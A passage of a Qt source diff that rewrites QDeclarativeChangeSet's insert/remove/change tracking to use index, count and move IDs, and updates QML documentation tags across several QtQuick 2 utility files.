+ int index = iit->index - insertCount;
+ int count = iit->count;
+ for (; change != m_changes.end() && change->index >= index; ++change)
+ change->index += insertCount;
+ if (change != m_changes.end() && change->index < index + count) {
+ int offset = index - change->index;
+ change = m_changes.insert(change, Change(change->index + insertCount, offset));
+ ++change;
+ change->index += count + offset;
+ change->count -= offset;
}
- } else {
- for (; insert != m_inserts.end() && bStart >= insert->end; ++insert) {}
- for (; insert != m_inserts.end() && bEnd > insert->start; ++insert) {
- const int removeCount = qMin(insert->end, bEnd) - qMax(insert->start, bStart);
- const int relativeStart = bStart - insert->start;
-
- insert->start += removeCount;
- if (insert->start == insert->end) {
- insert->start = fStart;
- insert->end = insert->start + removeCount;
+ for (; insert != m_inserts.end() && iit->index > insert->index + insert->count; ++insert)
+ insert->index += insertCount;
+ if (insert == m_inserts.end()) {
+ insert = m_inserts.insert(insert, *iit);
+ ++insert;
+ } else {
+ const int offset = index - insert->index;
+ if (offset < 0 || (offset == 0 && (iit->moveId != -1 || insert->moveId != -1))) {
+ insert = m_inserts.insert(insert, *iit);
+ ++insert;
+ } else if (iit->moveId == -1 && insert->moveId == -1) {
+ insert->index -= iit->count;
+ insert->count += iit->count;
+ } else if (offset < insert->count) {
+ const int moveId = insert->moveId != -1 ? m_moveCounter++ : -1;
+ insert = m_inserts.insert(insert, Insert(insert->index + insertCount, offset, moveId));
+ ++insert;
+ insert->index += offset;
+ insert->count -= offset;
+ insert = m_inserts.insert(insert, *iit);
+ ++insert;
+
+ if (insert->moveId != -1) {
+ QVector<Remove>::iterator remove = m_removes.begin();
+ for (; remove != m_removes.end() && remove->moveId != insert->moveId; ++remove) {}
+ Q_ASSERT(remove != m_removes.end());
+ if (remove->count == offset) {
+ remove->moveId = moveId;
+ } else {
+ remove = m_removes.insert(remove, Remove(remove->index, offset, moveId));
+ ++remove;
+ remove->count -= offset;
+ }
+ }
} else {
- insert = m_inserts.insert(insert, Insert(fStart, fStart + removeCount));
+ ++insert;
+ insert = m_inserts.insert(insert, *iit);
++insert;
}
- if (relativeStart < 0) {
- moveChanges.append(Move(fStart, fStart - relativeStart, fTo + removeCount));
- fStart -= relativeStart;
- fTo -= relativeStart;
- }
- fStart += removeCount;
- fTo += removeCount;
- }
- }
-
- if (fTo != bEnd)
- moveChanges.append(Move(fStart, fStart + bEnd - fTo, fTo));
-
- QVector<Insert>::iterator it = insertChanges.begin();
- for (insert = m_inserts.begin(); it != insertChanges.end() && insert != m_inserts.end();++insert) {
- if (it->start < insert->start) {
- insert = m_inserts.insert(insert, *it);
- ++it;
- } else if (it->start <= insert->end) {
- insert->end += it->count();
- ++it;
- }
- }
- for (; it != insertChanges.end(); ++it)
- m_inserts.append(*it);
-
- // Insert queued moved signals ordered by destination position.
- QVector<Move>::iterator move = m_moves.begin();
- if (start > to) {
- for (QVector<Move>::iterator it = moveChanges.begin(); it != moveChanges.end(); ++it) {
- it->fend += it->tstart - it->fstart;
- it->tend -=it->tstart - it->fstart;
- qSwap(it->fstart, it->tstart);
- for (; move != m_moves.end() && it->to >= qMin(move->fstart, move->tstart); ++move) {}
- move = m_moves.insert(move, *it);
- }
- } else {
- for (QVector<Move>::iterator it = moveChanges.begin(); it != moveChanges.end(); ++it) {
- for (; move != m_moves.end() && it->start >= qMin(move->fstart, move->tstart); ++move) {}
- move = m_moves.insert(move, *it);
+ insertCount += iit->count;
}
}
+ for (; change != m_changes.end(); ++change)
+ change->index += insertCount;
+ for (; insert != m_inserts.end(); ++insert)
+ insert->index += insertCount;
}
-void QDeclarativeChangeSet::insertChange(int start, int end)
+void QDeclarativeChangeSet::applyChanges(QVector<Change> &changes)
{
- QVector<Change> filteredChanges;
-
- // Inserted signals (don't emit change signals on new items).
QVector<Insert>::iterator insert = m_inserts.begin();
- for (; insert != m_inserts.end() && start >= insert->end; ++insert) {}
- for (; insert != m_inserts.end() && end > insert->start; ++insert) {
- if (start < insert->start)
- filteredChanges.append(Change(start, insert->start));
- start = insert->end;
- }
- if (start < end)
- filteredChanges.append(Change(start, end));
-
- // Find the union of the existing and filtered sets of change signals.
QVector<Change>::iterator change = m_changes.begin();
- for (QVector<Change>::iterator it = filteredChanges.begin(); it != filteredChanges.end(); ++it) {
- for (; change != m_changes.end() && change->end < it->start; ++change) {}
- if (change == m_changes.end() || change->start > it->end) {
- change = m_changes.insert(change, *it);
+ for (QVector<Change>::iterator cit = changes.begin(); cit != changes.end(); ++cit) {
+ for (; insert != m_inserts.end() && insert->end() < cit->index; ++insert) {}
+ for (; insert != m_inserts.end() && insert->index < cit->end(); ++insert) {
+ const int offset = insert->index - cit->index;
+ const int count = cit->count + cit->index - insert->index - insert->count;
+ if (offset == 0) {
+ cit->index = insert->index + insert->count;
+ cit->count = count;
+ } else {
+ cit = changes.insert(++cit, Change(insert->index + insert->count, count));
+ --cit;
+ cit->count = offset;
+ }
+ }
+
+ for (; change != m_changes.end() && change->index + change->count < cit->index; ++change) {}
+ if (change == m_changes.end() || change->index > cit->index + cit->count) {
+ if (cit->count > 0) {
+ change = m_changes.insert(change, *cit);
+ ++change;
+ }
} else {
- if (it->start < change->start)
- change->start = it->start;
+ if (cit->index < change->index) {
+ change->count += change->index - cit->index;
+ change->index = cit->index;
+ }
- if (it->end > change->end) {
- change->end = it->end;
+ if (cit->index + cit->count > change->index + change->count) {
+ change->count = cit->index + cit->count - change->index;
QVector<Change>::iterator rbegin = change;
QVector<Change>::iterator rend = ++rbegin;
- for (; rend != m_changes.end() && rend->start <= change->end; ++rend) {
- if (rend->end > change->end)
- change->end = rend->end;
+ for (; rend != m_changes.end() && rend->index <= change->index + change->count; ++rend) {
+ if (rend->index + rend->count > change->index + change->count)
+ change->count = rend->index + rend->count - change->index;
}
if (rbegin != rend) {
change = m_changes.erase(rbegin, rend);
@@ -422,19 +426,29 @@ void QDeclarativeChangeSet::insertChange(int start, int end)
}
}
}
-
}
QDebug operator <<(QDebug debug, const QDeclarativeChangeSet &set)
{
- foreach (const QDeclarativeChangeSet::Remove &remove, set.removes())
- debug.nospace() << "QDeclarativeChangeSet::Remove(" << remove.start << "," << remove.end << ")";
- foreach (const QDeclarativeChangeSet::Insert &insert, set.inserts())
- debug.nospace() << "QDeclarativeChangeSet::Insert(" << insert.start << "," << insert.end << ")";
- foreach (const QDeclarativeChangeSet::Move &move, set.moves())
- debug.nospace() << "QDeclarativeChangeSet::Move(" << move.start << "," << move.end << "," << move.to << ")";
- foreach (const QDeclarativeChangeSet::Change &change, set.changes())
- debug.nospace() << "QDeclarativeChangeSet::Change(" << change.start << "," << change.end << ")";
- return debug;
+ debug.nospace() << "QDeclarativeChangeSet(";
+ foreach (const QDeclarativeChangeSet::Remove &remove, set.removes()) debug << remove;
+ foreach (const QDeclarativeChangeSet::Insert &insert, set.inserts()) debug << insert;
+ foreach (const QDeclarativeChangeSet::Change &change, set.changes()) debug << change;
+ return debug.nospace() << ")";
+}
+
+QDebug operator <<(QDebug debug, const QDeclarativeChangeSet::Remove &remove)
+{
+ return (debug.nospace() << "Remove(" << remove.index << "," << remove.count << "," << remove.moveId << ")").space();
+}
+
+QDebug operator <<(QDebug debug, const QDeclarativeChangeSet::Insert &insert)
+{
+ return (debug.nospace() << "Insert(" << insert.index << "," << insert.count << "," << insert.moveId << ")").space();
+}
+
+QDebug operator <<(QDebug debug, const QDeclarativeChangeSet::Change &change)
+{
+ return (debug.nospace() << "Change(" << change.index << "," << change.count << ")").space();
}
diff --git a/src/declarative/util/qdeclarativechangeset_p.h b/src/declarative/util/qdeclarativechangeset_p.h
index ec3429392b..67533b02d5 100644
--- a/src/declarative/util/qdeclarativechangeset_p.h
+++ b/src/declarative/util/qdeclarativechangeset_p.h
@@ -61,103 +61,104 @@ QT_BEGIN_NAMESPACE
class Q_AUTOTEST_EXPORT QDeclarativeChangeSet
{
public:
- struct Insert
+ struct MoveKey
{
- Insert() {}
- Insert(int start, int end) : start(start), end(end) {}
-
- int count() const { return end - start; }
-
- int start;
- int end;
+ MoveKey() : moveId(-1), offset(0) {}
+ MoveKey(int moveId, int offset) : moveId(moveId), offset(offset) {}
+ int moveId;
+ int offset;
};
- struct Remove
+ struct Change
{
- Remove() {}
- Remove(int start, int end) : start(start), end(end) {}
+ Change() : index(0), count(0), moveId(-1) {}
+ Change(int index, int count) : index(index), count(count), moveId(-1) {}
+ Change(int index, int count, int moveId) : index(index), count(count), moveId(moveId) {}
- int count() const { return end - start; }
+ int index;
+ int count;
+ int moveId;
- int start;
- int end;
+ bool isMove() const { return moveId >= 0; }
+
+ MoveKey moveKey(int index) const { return MoveKey(moveId, index - Change::index); }
+
+ int start() const { return index; }
+ int end() const { return index + count; }
};
- struct Move
+
+ struct Insert : public Change
{
- Move() {}
- Move(int start, int end, int to) : fstart(start), fend(end), tstart(to), tend(to + end - start) {}
-
- int minimum() const { return qMin(fstart, tstart); }
- int maximum() const { return qMax(fend, tend); }
- int count() const { return fend - fstart; }
-
- union {
- int start;
- int fstart;
- };
- union {
- int end;
- int fend;
- };
- union {
- int to;
- int tstart;
- };
- int tend;
+ Insert() {}
+ Insert(int index, int count) : Change(index, count) {}
+ Insert(int index, int count, int moveId) : Change(index, count, moveId) {}
};
- struct Change
+ struct Remove : public Change
{
- Change() {}
- Change(int start, int end) : start(start), end(end) {}
+ Remove() {}
+ Remove(int index, int count) : Change(index, count) {}
+ Remove(int index, int count, int moveId) : Change(index, count, moveId) {}
+ };
- int count() const { return end - start; }
+ QDeclarativeChangeSet();
+ QDeclarativeChangeSet(
+ const QVector<Remove> &removals,
+ const QVector<Insert> &insertions,
+ const QVector<Change> &changes = QVector<Change>());
+ QDeclarativeChangeSet(const QDeclarativeChangeSet &changeSet);
+ ~QDeclarativeChangeSet();
- int start;
- int end;
- };
+ QDeclarativeChangeSet &operator =(const QDeclarativeChangeSet &changeSet);
const QVector<Remove> &removes() const { return m_removes; }
const QVector<Insert> &inserts() const { return m_inserts; }
- const QVector<Move> &moves() const { return m_moves; }
const QVector<Change> &changes() const {return m_changes; }
- void insertInsert(int start, int end);
- void insertRemove(int start, int end);
- void insertMove(int start, int end, int to);
- void insertChange(int start, int end);
+ void insert(int index, int count);
+ void remove(int index, int count);
+ void move(int from, int to, int count);
+ void change(int index, int count);
- void appendInsert(int start, int end) { m_inserts.append(Insert(start, end)); }
- void appendRemove(int start, int end) { m_removes.append(Remove(start, end)); }
- void appendMove(int start, int end, int to) { m_moves.append(Move(start, end, to)); }
- void appendChange(int start, int end) { m_changes.append(Change(start, end)); }
+ void apply(const QDeclarativeChangeSet &changeSet);
+ void apply(const QVector<Remove> &removals);
+ void apply(const QVector<Insert> &insertions);
+ void apply(const QVector<Change> &changes);
+ void apply(
+ const QVector<Remove> &removals,
+ const QVector<Insert> &insertions,
+ const QVector<Change> &changes = QVector<Change>());
- void append(const QVector<Insert> &inserts) { m_inserts += inserts; }
- void append(const QVector<Remove> &removes) { m_removes += removes; }
- void append(const QVector<Move> &moves) { m_moves += moves; }
- void append(const QVector<Change> &changes) { m_changes += changes; }
-
- bool isEmpty() const {
- return m_removes.empty() && m_inserts.empty() && m_moves.empty() && m_changes.empty();
- }
+ bool isEmpty() const { return m_removes.empty() && m_inserts.empty() && m_changes.empty(); }
void clear()
{
m_removes.clear();
m_inserts.clear();
- m_moves.clear();
m_changes.clear();
+ m_moveCounter = 0;
}
private:
+ void applyRemovals(QVector<Remove> &removals, QVector<Insert> &insertions);
+ void applyInsertions(QVector<Insert> &insertions);
+ void applyChanges(QVector<Change> &changes);
+
QVector<Remove> m_removes;
QVector<Insert> m_inserts;
- QVector<Move> m_moves;
QVector<Change> m_changes;
+ int m_moveCounter;
};
+inline uint qHash(const QDeclarativeChangeSet::MoveKey &key) { return qHash(qMakePair(key.moveId, key.offset)); }
+inline bool operator ==(const QDeclarativeChangeSet::MoveKey &l, const QDeclarativeChangeSet::MoveKey &r) {
+ return l.moveId == r.moveId && l.offset == r.offset; }
+
Q_AUTOTEST_EXPORT QDebug operator <<(QDebug debug, const QDeclarativeChangeSet &change);
+Q_AUTOTEST_EXPORT QDebug operator <<(QDebug debug, const QDeclarativeChangeSet::Remove &remove);
+Q_AUTOTEST_EXPORT QDebug operator <<(QDebug debug, const QDeclarativeChangeSet::Insert &insert);
+Q_AUTOTEST_EXPORT QDebug operator <<(QDebug debug, const QDeclarativeChangeSet::Change &change);
QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativeconnections.cpp b/src/declarative/util/qdeclarativeconnections.cpp
index 956533f7ca..6559d4bb20 100644
--- a/src/declarative/util/qdeclarativeconnections.cpp
+++ b/src/declarative/util/qdeclarativeconnections.cpp
@@ -72,8 +72,8 @@ public:
/*!
\qmlclass Connections QDeclarativeConnections
+ \inqmlmodule QtQuick 2
\ingroup qml-utility-elements
- \since 4.7
\brief A Connections element describes generalized connections to signals.
A Connections object creates a connection to a QML signal.
@@ -137,7 +137,7 @@ QDeclarativeConnections::~QDeclarativeConnections()
}
/*!
- \qmlproperty Object Connections::target
+ \qmlproperty Object QtQuick2::Connections::target
This property holds the object that sends the signal.
If this property is not set, the \c target defaults to the parent of the Connection.
@@ -172,7 +172,7 @@ void QDeclarativeConnections::setTarget(QObject *obj)
}
/*!
- \qmlproperty bool Connections::ignoreUnknownSignals
+ \qmlproperty bool QtQuick2::Connections::ignoreUnknownSignals
Normally, a connection to a non-existent signal produces runtime errors.
diff --git a/src/declarative/util/qdeclarativefontloader.cpp b/src/declarative/util/qdeclarativefontloader.cpp
index 4d67736e0c..7a1dec88f0 100644
--- a/src/declarative/util/qdeclarativefontloader.cpp
+++ b/src/declarative/util/qdeclarativefontloader.cpp
@@ -145,8 +145,8 @@ QHash<QUrl, QDeclarativeFontObject*> QDeclarativeFontLoaderPrivate::fonts;
/*!
\qmlclass FontLoader QDeclarativeFontLoader
+ \inqmlmodule QtQuick 2
\ingroup qml-utility-elements
- \since 4.7
\brief The FontLoader element allows fonts to be loaded by name or URL.
The FontLoader element is used to load fonts by name or URL.
@@ -179,7 +179,7 @@ QDeclarativeFontLoader::~QDeclarativeFontLoader()
}
/*!
- \qmlproperty url FontLoader::source
+ \qmlproperty url QtQuick2::FontLoader::source
The url of the font to load.
*/
QUrl QDeclarativeFontLoader::source() const
@@ -253,7 +253,7 @@ void QDeclarativeFontLoader::updateFontInfo(const QString& name, QDeclarativeFon
}
/*!
- \qmlproperty string FontLoader::name
+ \qmlproperty string QtQuick2::FontLoader::name
This property holds the name of the font family.
It is set automatically when a font is loaded using the \c url property.
@@ -294,7 +294,7 @@ void QDeclarativeFontLoader::setName(const QString &name)
}
/*!
- \qmlproperty enumeration FontLoader::status
+ \qmlproperty enumeration QtQuick2::FontLoader::status
This property holds the status of font loading. It can be one of:
\list
diff --git a/src/declarative/util/qdeclarativelistmodel.cpp b/src/declarative/util/qdeclarativelistmodel.cpp
index 035502140b..15d87c828d 100644
--- a/src/declarative/util/qdeclarativelistmodel.cpp
+++ b/src/declarative/util/qdeclarativelistmodel.cpp
@@ -204,8 +204,8 @@ QDeclarativeListModelParser::ListInstruction *QDeclarativeListModelParser::ListM
/*!
\qmlclass ListModel QDeclarativeListModel
+ \inqmlmodule QtQuick 2
\ingroup qml-working-with-data
- \since 4.7
\brief The ListModel element defines a free-form list data source.
The ListModel is a simple container of ListElement definitions, each containing data roles.
@@ -436,7 +436,7 @@ QVariant QDeclarativeListModel::data(int index, int role) const
}
/*!
- \qmlproperty int ListModel::count
+ \qmlproperty int QtQuick2::ListModel::count
The number of data entries in the model.
*/
int QDeclarativeListModel::count() const
@@ -445,7 +445,7 @@ int QDeclarativeListModel::count() const
}
/*!
- \qmlmethod ListModel::clear()
+ \qmlmethod QtQuick2::ListModel::clear()
Deletes all content from the model.
@@ -498,7 +498,7 @@ ModelObject *ModelNode::object(const NestedListModel *model)
}
/*!
- \qmlmethod ListModel::remove(int index)
+ \qmlmethod QtQuick2::ListModel::remove(int index)
Deletes the content at \a index from the model.
@@ -523,7 +523,7 @@ void QDeclarativeListModel::remove(int index)
}
/*!
- \qmlmethod ListModel::insert(int index, jsobject dict)
+ \qmlmethod QtQuick2::ListModel::insert(int index, jsobject dict)
Adds a new item to the list model at position \a index, with the
values in \a dict.
@@ -560,7 +560,7 @@ void QDeclarativeListModel::insert(int index, const QDeclarativeV8Handle &handle
}
/*!
- \qmlmethod ListModel::move(int from, int to, int n)
+ \qmlmethod QtQuick2::ListModel::move(int from, int to, int n)
Moves \a n items \a from one position \a to another.
@@ -604,7 +604,7 @@ void QDeclarativeListModel::move(int from, int to, int n)
}
/*!
- \qmlmethod ListModel::append(jsobject dict)
+ \qmlmethod QtQuick2::ListModel::append(jsobject dict)
Adds a new item to the end of the list model, with the
values in \a dict.
@@ -628,7 +628,7 @@ void QDeclarativeListModel::append(const QDeclarativeV8Handle &handle)
}
/*!
- \qmlmethod object ListModel::get(int index)
+ \qmlmethod object QtQuick2::ListModel::get(int index)
Returns the item at \a index in the list model. This allows the item
data to be accessed or modified from JavaScript:
@@ -665,7 +665,7 @@ QDeclarativeV8Handle QDeclarativeListModel::get(int index) const
}
/*!
- \qmlmethod ListModel::set(int index, jsobject dict)
+ \qmlmethod QtQuick2::ListModel::set(int index, jsobject dict)
Changes the item at \a index in the list model with the
values in \a dict. Properties not appearing in \a dict
@@ -712,7 +712,7 @@ void QDeclarativeListModel::set(int index, const QDeclarativeV8Handle &handle, Q
}
/*!
- \qmlmethod ListModel::setProperty(int index, string property, variant value)
+ \qmlmethod QtQuick2::ListModel::setProperty(int index, string property, variant value)
Changes the \a property of the item at \a index in the list model to \a value.
@@ -746,7 +746,7 @@ void QDeclarativeListModel::setProperty(int index, const QString& property, cons
}
/*!
- \qmlmethod ListModel::sync()
+ \qmlmethod QtQuick2::ListModel::sync()
Writes any unsaved changes to the list model after it has been modified
from a worker script.
@@ -1019,8 +1019,8 @@ bool QDeclarativeListModelParser::definesEmptyList(const QString &s)
/*!
\qmlclass ListElement QDeclarativeListElement
+ \inqmlmodule QtQuick 2
\ingroup qml-working-with-data
- \since 4.7
\brief The ListElement element defines a data item in a ListModel.
List elements are defined inside ListModel definitions, and represent items in a
diff --git a/src/declarative/util/qdeclarativelistmodel_p.h b/src/declarative/util/qdeclarativelistmodel_p.h
index 94a7e65bfb..e7c5632ce3 100644
--- a/src/declarative/util/qdeclarativelistmodel_p.h
+++ b/src/declarative/util/qdeclarativelistmodel_p.h
@@ -125,6 +125,7 @@ Q_OBJECT
class QDeclarativeListModelParser : public QDeclarativeCustomParser
{
public:
+ QDeclarativeListModelParser() : QDeclarativeCustomParser(QDeclarativeCustomParser::AcceptsSignalHandlers) {}
QByteArray compile(const QList<QDeclarativeCustomParserProperty> &);
void setCustomData(QObject *, const QByteArray &);
diff --git a/src/declarative/util/qdeclarativepackage.cpp b/src/declarative/util/qdeclarativepackage.cpp
index 2f96b3c6da..4973ee212a 100644
--- a/src/declarative/util/qdeclarativepackage.cpp
+++ b/src/declarative/util/qdeclarativepackage.cpp
@@ -48,6 +48,7 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass Package QDeclarativePackage
+ \inqmlmodule QtQuick 2
\ingroup qml-working-with-data
\brief Package provides a collection of named items.
@@ -75,7 +76,7 @@ QT_BEGIN_NAMESPACE
*/
/*!
- \qmlattachedproperty string Package::name
+ \qmlattachedproperty string QtQuick2::Package::name
This attached property holds the name of an item within a Package.
*/
diff --git a/src/declarative/util/qdeclarativepath.cpp b/src/declarative/util/qdeclarativepath.cpp
index 7b5d966719..34752b5242 100644
--- a/src/declarative/util/qdeclarativepath.cpp
+++ b/src/declarative/util/qdeclarativepath.cpp
@@ -53,8 +53,8 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass PathElement QDeclarativePathElement
+ \inqmlmodule QtQuick 2
\ingroup qml-view-elements
- \since 4.7
\brief PathElement is the base path type.
This type is the base for all path types. It cannot
@@ -65,8 +65,8 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass Path QDeclarativePath
+ \inqmlmodule QtQuick 2
\ingroup qml-view-elements
- \since 4.7
\brief A Path object defines a path for use by \l PathView.
A Path is composed of one or more path segments - PathLine, PathQuad,
@@ -90,8 +90,8 @@ QDeclarativePath::~QDeclarativePath()
}
/*!
- \qmlproperty real Path::startX
- \qmlproperty real Path::startY
+ \qmlproperty real QtQuick2::Path::startX
+ \qmlproperty real QtQuick2::Path::startY
These properties hold the starting position of the path.
*/
qreal QDeclarativePath::startX() const
@@ -127,7 +127,7 @@ void QDeclarativePath::setStartY(qreal y)
}
/*!
- \qmlproperty bool Path::closed
+ \qmlproperty bool QtQuick2::Path::closed
This property holds whether the start and end of the path are identical.
*/
bool QDeclarativePath::isClosed() const
@@ -137,7 +137,7 @@ bool QDeclarativePath::isClosed() const
}
/*!
- \qmlproperty list<PathElement> Path::pathElements
+ \qmlproperty list<PathElement> QtQuick2::Path::pathElements
This property holds the objects composing the path.
\default
@@ -502,8 +502,8 @@ void QDeclarativeCurve::setY(qreal y)
/*!
\qmlclass PathAttribute QDeclarativePathAttribute
+ \inqmlmodule QtQuick 2
\ingroup qml-view-elements
- \since 4.7
\brief The PathAttribute allows setting an attribute at a given position in a Path.
The PathAttribute object allows attributes consisting of a name and
@@ -533,7 +533,7 @@ void QDeclarativeCurve::setY(qreal y)
*/
/*!
- \qmlproperty string PathAttribute::name
+ \qmlproperty string QtQuick2::PathAttribute::name
This property holds the name of the attribute to change.
This attribute will be available to the delegate as PathView.<name>
@@ -562,7 +562,7 @@ void QDeclarativePathAttribute::setName(const QString &name)
}
/*!
- \qmlproperty real PathAttribute::value
+ \qmlproperty real QtQuick2::PathAttribute::value
This property holds the value for the attribute.
The value specified can be used to influence the visual appearance
@@ -618,8 +618,8 @@ void QDeclarativePathAttribute::setValue(qreal value)
/*!
\qmlclass PathLine QDeclarativePathLine
+ \inqmlmodule QtQuick 2
\ingroup qml-view-elements
- \since 4.7
\brief The PathLine defines a straight line.
The example below creates a path consisting of a straight line from
@@ -636,8 +636,8 @@ void QDeclarativePathAttribute::setValue(qreal value)
*/
/*!
- \qmlproperty real PathLine::x
- \qmlproperty real PathLine::y
+ \qmlproperty real QtQuick2::PathLine::x
+ \qmlproperty real QtQuick2::PathLine::y
Defines the end point of the line.
*/
@@ -651,8 +651,8 @@ void QDeclarativePathLine::addToPath(QPainterPath &path)
/*!
\qmlclass PathQuad QDeclarativePathQuad
+ \inqmlmodule QtQuick 2
\ingroup qml-view-elements
- \since 4.7
\brief The PathQuad defines a quadratic Bezier curve with a control point.
The following QML produces the path shown below:
@@ -672,15 +672,15 @@ void QDeclarativePathLine::addToPath(QPainterPath &path)
*/
/*!
- \qmlproperty real PathQuad::x
- \qmlproperty real PathQuad::y
+ \qmlproperty real QtQuick2::PathQuad::x
+ \qmlproperty real QtQuick2::PathQuad::y
Defines the end point of the curve.
*/
/*!
- \qmlproperty real PathQuad::controlX
- \qmlproperty real PathQuad::controlY
+ \qmlproperty real QtQuick2::PathQuad::controlX
+ \qmlproperty real QtQuick2::PathQuad::controlY
Defines the position of the control point.
*/
@@ -729,8 +729,8 @@ void QDeclarativePathQuad::addToPath(QPainterPath &path)
/*!
\qmlclass PathCubic QDeclarativePathCubic
+ \inqmlmodule QtQuick 2
\ingroup qml-view-elements
- \since 4.7
\brief The PathCubic defines a cubic Bezier curve with two control points.
The following QML produces the path shown below:
@@ -754,15 +754,15 @@ void QDeclarativePathQuad::addToPath(QPainterPath &path)
*/
/*!
- \qmlproperty real PathCubic::x
- \qmlproperty real PathCubic::y
+ \qmlproperty real QtQuick2::PathCubic::x
+ \qmlproperty real QtQuick2::PathCubic::y
Defines the end point of the curve.
*/
/*!
- \qmlproperty real PathCubic::control1X
- \qmlproperty real PathCubic::control1Y
+ \qmlproperty real QtQuick2::PathCubic::control1X
+ \qmlproperty real QtQuick2::PathCubic::control1Y
Defines the position of the first control point.
*/
@@ -795,8 +795,8 @@ void QDeclarativePathCubic::setControl1Y(qreal y)
}
/*!
- \qmlproperty real PathCubic::control2X
- \qmlproperty real PathCubic::control2Y
+ \qmlproperty real QtQuick2::PathCubic::control2X
+ \qmlproperty real QtQuick2::PathCubic::control2Y
Defines the position of the second control point.
*/
@@ -837,8 +837,8 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path)
/*!
\qmlclass PathPercent QDeclarativePathPercent
+ \inqmlmodule QtQuick 2
\ingroup qml-view-elements
- \since 4.7
\brief The PathPercent manipulates the way a path is interpreted.
PathPercent allows you to manipulate the spacing between items on a
@@ -886,7 +886,7 @@ void QDeclarativePathCubic::addToPath(QPainterPath &path)
*/
/*!
- \qmlproperty real PathPercent::value
+ \qmlproperty real QtQuick2::PathPercent::value
The proporation of items that should be laid out up to this point.
This value should always be higher than the last value specified
diff --git a/src/declarative/util/qdeclarativepropertychanges.cpp b/src/declarative/util/qdeclarativepropertychanges.cpp
index 5cdf785ccd..d03cd3bb1a 100644
--- a/src/declarative/util/qdeclarativepropertychanges.cpp
+++ b/src/declarative/util/qdeclarativepropertychanges.cpp
@@ -65,8 +65,8 @@ QT_BEGIN_NAMESPACE
/*!
\qmlclass PropertyChanges QDeclarativePropertyChanges
+ \inqmlmodule QtQuick 2
\ingroup qml-state-elements
- \since 4.7
\brief The PropertyChanges element describes new property bindings or values for a state.
PropertyChanges is used to define the property values or bindings in a
@@ -132,7 +132,7 @@ QT_BEGIN_NAMESPACE
*/
/*!
- \qmlproperty Object PropertyChanges::target
+ \qmlproperty Object QtQuick2::PropertyChanges::target
This property holds the object which contains the properties to be changed.
*/
@@ -394,7 +394,7 @@ void QDeclarativePropertyChanges::setObject(QObject *o)
}
/*!
- \qmlproperty bool PropertyChanges::restoreEntryValues
+ \qmlproperty bool QtQuick2::PropertyChanges::restoreEntryValues
This property holds whether the previous values should be restored when
leaving the state.
@@ -496,7 +496,7 @@ QDeclarativePropertyChanges::ActionList QDeclarativePropertyChanges::actions()
}
/*!
- \qmlproperty bool PropertyChanges::explicit
+ \qmlproperty bool QtQuick2::PropertyChanges::explicit
If explicit is set to true, any potential bindings will be interpreted as
once-off assignments that occur when the state is entered.
diff --git a/src/declarative/util/qdeclarativepropertymap.cpp b/src/declarative/util/qdeclarativepropertymap.cpp
index 765e237051..c9242672c5 100644
--- a/src/declarative/util/qdeclarativepropertymap.cpp
+++ b/src/declarative/util/qdeclarativepropertymap.cpp
@@ -97,7 +97,6 @@ void QDeclarativePropertyMapMetaObject::propertyCreated(int, QMetaPropertyBuilde
/*!
\class QDeclarativePropertyMap
- \since 4.7
\brief The QDeclarativePropertyMap class allows you to set key-value pairs that can be used in QML bindings.
QDeclarativePropertyMap provides a convenient way to expose domain data to the UI layer.
diff --git a/src/declarative/util/qdeclarativesmoothedanimation.cpp b/src/declarative/util/qdeclarativesmoothedanimation.cpp
index 2200d2c77c..f76531a5f7 100644
--- a/src/declarative/util/qdeclarativesmoothedanimation.cpp
+++ b/src/declarative/util/qdeclarativesmoothedanimation.cpp
@@ -253,8 +253,8 @@ void QSmoothedAnimation::init()
/*!
\qmlclass SmoothedAnimation QDeclarativeSmoothedAnimation
+ \inqmlmodule QtQuick 2
\ingroup qml-animation-transition
- \since 4.7
\inherits NumberAnimation
\brief The SmoothedAnimation element allows a property to smoothly track a value.
@@ -382,7 +382,7 @@ void QDeclarativeSmoothedAnimation::transition(QDeclarativeStateActions &actions
}
/*!
- \qmlproperty enumeration SmoothedAnimation::reversingMode
+ \qmlproperty enumeration QtQuick2::SmoothedAnimation::reversingMode
Sets how the SmoothedAnimation behaves if an animation direction is reversed.
@@ -412,7 +412,7 @@ void QDeclarativeSmoothedAnimation::setReversingMode(ReversingMode m)
}
/*!
- \qmlproperty int SmoothedAnimation::duration
+ \qmlproperty int QtQuick2::SmoothedAnimation::duration
This property holds the animation duration, in msecs, used when tracking the source.
@@ -445,7 +445,7 @@ qreal QDeclarativeSmoothedAnimation::velocity() const
}
/*!
- \qmlproperty real SmoothedAnimation::velocity
+ \qmlproperty real QtQuick2::SmoothedAnimation::velocity
This property holds the average velocity allowed when tracking the 'to' value.
@@ -468,7 +468,7 @@ void QDeclarativeSmoothedAnimation::setVelocity(qreal v)
}
/*!
- \qmlproperty int SmoothedAnimation::maximumEasingTime
+ \qmlproperty int QtQuick2::SmoothedAnimation::maximumEasingTime
This property specifies the maximum time, in msecs, any "eases" during the follow should take.
Setting this property causes the velocity to "level out" after at a time. Setting
diff --git a/src/declarative/util/qdeclarativespringanimation.cpp b/src/declarative/util/qdeclarativespringanimation.cpp
index 2c6058caf6..619811f789 100644
--- a/src/declarative/util/qdeclarativespringanimation.cpp
+++ b/src/declarative/util/qdeclarativespringanimation.cpp
@@ -235,9 +235,9 @@ void QDeclarativeSpringAnimationPrivate::updateMode()
/*!
\qmlclass SpringAnimation QDeclarativeSpringAnimation
+ \inqmlmodule QtQuick 2
\ingroup qml-animation-transition
\inherits NumberAnimation
- \since 4.7
\brief The SpringAnimation element allows a property to track a value in a spring-like motion.
@@ -273,7 +273,7 @@ QDeclarativeSpringAnimation::~QDeclarativeSpringAnimation()
}
/*!
- \qmlproperty real SpringAnimation::velocity
+ \qmlproperty real QtQuick2::SpringAnimation::velocity
This property holds the maximum velocity allowed when tracking the source.
@@ -295,7 +295,7 @@ void QDeclarativeSpringAnimation::setVelocity(qreal velocity)
}
/*!
- \qmlproperty real SpringAnimation::spring
+ \qmlproperty real QtQuick2::SpringAnimation::spring
This property describes how strongly the target is pulled towards the
source. The default value is 0 (that is, the spring-like motion is disabled).
@@ -319,7 +319,7 @@ void QDeclarativeSpringAnimation::setSpring(qreal spring)
}
/*!
- \qmlproperty real SpringAnimation::damping
+ \qmlproperty real QtQuick2::SpringAnimation::damping
This property holds the spring damping value.
